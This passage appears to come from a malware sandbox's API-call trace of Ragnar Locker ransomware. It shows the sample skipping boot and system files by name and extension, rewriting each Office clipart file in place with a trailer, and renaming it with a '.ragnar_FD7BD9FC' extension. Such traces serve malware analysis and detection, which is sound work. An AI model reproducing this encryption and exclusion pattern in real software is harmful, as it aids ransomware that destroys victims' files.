lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.372] CloseHandle (hObject=0xf4) returned 1 [0083.372] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" [0083.372] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.ragnar_FD7BD9FC" [0083.373] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.373] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x84b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099199.GIF", cAlternateFileName="")) returned 1 [0083.373] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.373] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099199.GIF" | out: lpString1="J0099199.GIF") returned="J0099199.GIF" [0083.373] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned=".GIF" [0083.373] lstrcmpiW (lpString1="J0099199.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.373] lstrcmpiW (lpString1="J0099199.GIF", lpString2="autorun.inf") returned 1 [0083.373] lstrcmpiW (lpString1="J0099199.GIF", lpString2="boot.ini") returned 1 [0083.373] lstrcmpiW (lpString1="J0099199.GIF", lpString2="bootfont.bin") returned 1 [0083.373] lstrcmpiW (lpString1="J0099199.GIF", lpString2="bootsect.bak") returned 1 [0083.373] lstrcmpiW (lpString1="J0099199.GIF", lpString2="bootmgr") returned 1 [0083.373] lstrcmpiW (lpString1="J0099199.GIF", lpString2="bootmgr.efi") returned 1 [0083.373] lstrcmpiW (lpString1="J0099199.GIF", lpString2="bootmgfw.efi") returned 1 [0083.373] lstrcmpiW (lpString1="J0099199.GIF", lpString2="desktop.ini") returned 1 [0083.373] lstrcmpiW (lpString1="J0099199.GIF", lpString2="iconcache.db") returned 1 [0083.373] lstrcmpiW (lpString1="J0099199.GIF", lpString2="ntldr") returned -1 [0083.373] lstrcmpiW (lpString1="J0099199.GIF", lpString2="ntuser.dat") returned -1 [0083.373] lstrcmpiW (lpString1="J0099199.GIF", lpString2="ntuser.dat.log") returned -1 [0083.374] lstrcmpiW (lpString1="J0099199.GIF", lpString2="ntuser.ini") returned -1 [0083.374] lstrcmpiW (lpString1="J0099199.GIF", lpString2="thumbs.db") returned -1 [0083.374] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0083.374] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0083.374] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0083.374] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0083.374] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0083.374] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0083.374] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0083.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif")) returned 0x20 [0083.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.374] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33975) returned 1 [0083.374] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x84ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.374] GetProcessHeap () returned 0x580000 [0083.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.374] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.376] VirtualAlloc (lpAddress=0x0, dwSize=0x84b7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.376] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x84b7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x84b7, lpOverlapped=0x0) returned 1 [0083.377] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.378] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x84b7, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.378] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x84b7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x84b7, lpOverlapped=0x0) returned 1 [0083.378] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x84b7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.378] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.378] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x84b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.378] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.378] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.378] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.379] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.379] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.379] GetProcessHeap () returned 0x580000 [0083.379] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.379] CloseHandle (hObject=0xf4) returned 1 [0083.379] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" [0083.379] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.ragnar_FD7BD9FC" [0083.379] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.379] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099200.GIF", cAlternateFileName="")) returned 1 [0083.379] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.379] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099200.GIF" | out: lpString1="J0099200.GIF") returned="J0099200.GIF" [0083.379] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned=".GIF" [0083.379] lstrcmpiW (lpString1="J0099200.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.380] lstrcmpiW (lpString1="J0099200.GIF", lpString2="autorun.inf") returned 1 [0083.380] lstrcmpiW (lpString1="J0099200.GIF", lpString2="boot.ini") returned 1 [0083.380] lstrcmpiW (lpString1="J0099200.GIF", lpString2="bootfont.bin") returned 1 [0083.380] lstrcmpiW (lpString1="J0099200.GIF", lpString2="bootsect.bak") returned 1 [0083.380] lstrcmpiW (lpString1="J0099200.GIF", lpString2="bootmgr") returned 1 [0083.380] lstrcmpiW (lpString1="J0099200.GIF", lpString2="bootmgr.efi") returned 1 [0083.380] lstrcmpiW (lpString1="J0099200.GIF", lpString2="bootmgfw.efi") returned 1 [0083.380] lstrcmpiW (lpString1="J0099200.GIF", lpString2="desktop.ini") returned 1 [0083.380] lstrcmpiW (lpString1="J0099200.GIF", lpString2="iconcache.db") returned 1 [0083.380] lstrcmpiW (lpString1="J0099200.GIF", lpString2="ntldr") returned -1 [0083.380] lstrcmpiW (lpString1="J0099200.GIF", lpString2="ntuser.dat") returned -1 [0083.380] lstrcmpiW (lpString1="J0099200.GIF", lpString2="ntuser.dat.log") returned -1 [0083.380] lstrcmpiW (lpString1="J0099200.GIF", lpString2="ntuser.ini") returned -1 [0083.380] lstrcmpiW (lpString1="J0099200.GIF", lpString2="thumbs.db") returned -1 [0083.380] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0083.380] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0083.380] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0083.380] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0083.380] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0083.380] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0083.380] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0083.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif")) returned 0x20 [0083.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.381] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16543) returned 1 [0083.381] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4096, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.381] GetProcessHeap () returned 0x580000 [0083.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.381] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.382] VirtualAlloc (lpAddress=0x0, dwSize=0x409f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.383] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x409f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x409f, lpOverlapped=0x0) returned 1 [0083.384] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.384] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x409f, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.384] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x409f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x409f, lpOverlapped=0x0) returned 1 [0083.384] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x409f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.384] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.384] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x409f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.384] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.384] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.385] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.385] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.385] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.385] GetProcessHeap () returned 0x580000 [0083.385] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.385] CloseHandle (hObject=0xf4) returned 1 [0083.385] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" [0083.385] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.ragnar_FD7BD9FC" [0083.385] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.385] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc8c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099201.GIF", cAlternateFileName="")) returned 1 [0083.385] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.385] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099201.GIF" | out: lpString1="J0099201.GIF") returned="J0099201.GIF" [0083.386] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned=".GIF" [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="autorun.inf") returned 1 [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="boot.ini") returned 1 [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="bootfont.bin") returned 1 [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="bootsect.bak") returned 1 [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="bootmgr") returned 1 [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="bootmgr.efi") returned 1 [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="bootmgfw.efi") returned 1 [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="desktop.ini") returned 1 [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="iconcache.db") returned 1 [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="ntldr") returned -1 [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="ntuser.dat") returned -1 [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="ntuser.dat.log") returned -1 [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="ntuser.ini") returned -1 [0083.386] lstrcmpiW (lpString1="J0099201.GIF", lpString2="thumbs.db") returned -1 [0083.386] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0083.386] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0083.386] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0083.386] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0083.386] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0083.386] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0083.386] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0083.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif")) returned 0x20 [0083.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.387] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=51401) returned 1 [0083.387] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc8c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.387] GetProcessHeap () returned 0x580000 [0083.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.387] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.391] VirtualAlloc (lpAddress=0x0, dwSize=0xc8c9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.391] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.391] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.391] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc8c9, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc8c9, lpOverlapped=0x0) returned 1 [0083.393] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.393] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc8c9, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.393] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc8c9, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc8c9, lpOverlapped=0x0) returned 1 [0083.394] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc8c9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.394] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.394] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc8c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.394] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.394] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.394] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.394] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.394] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.394] GetProcessHeap () returned 0x580000 [0083.394] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.394] CloseHandle (hObject=0xf4) returned 1 [0083.394] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" [0083.394] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.ragnar_FD7BD9FC" [0083.395] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft 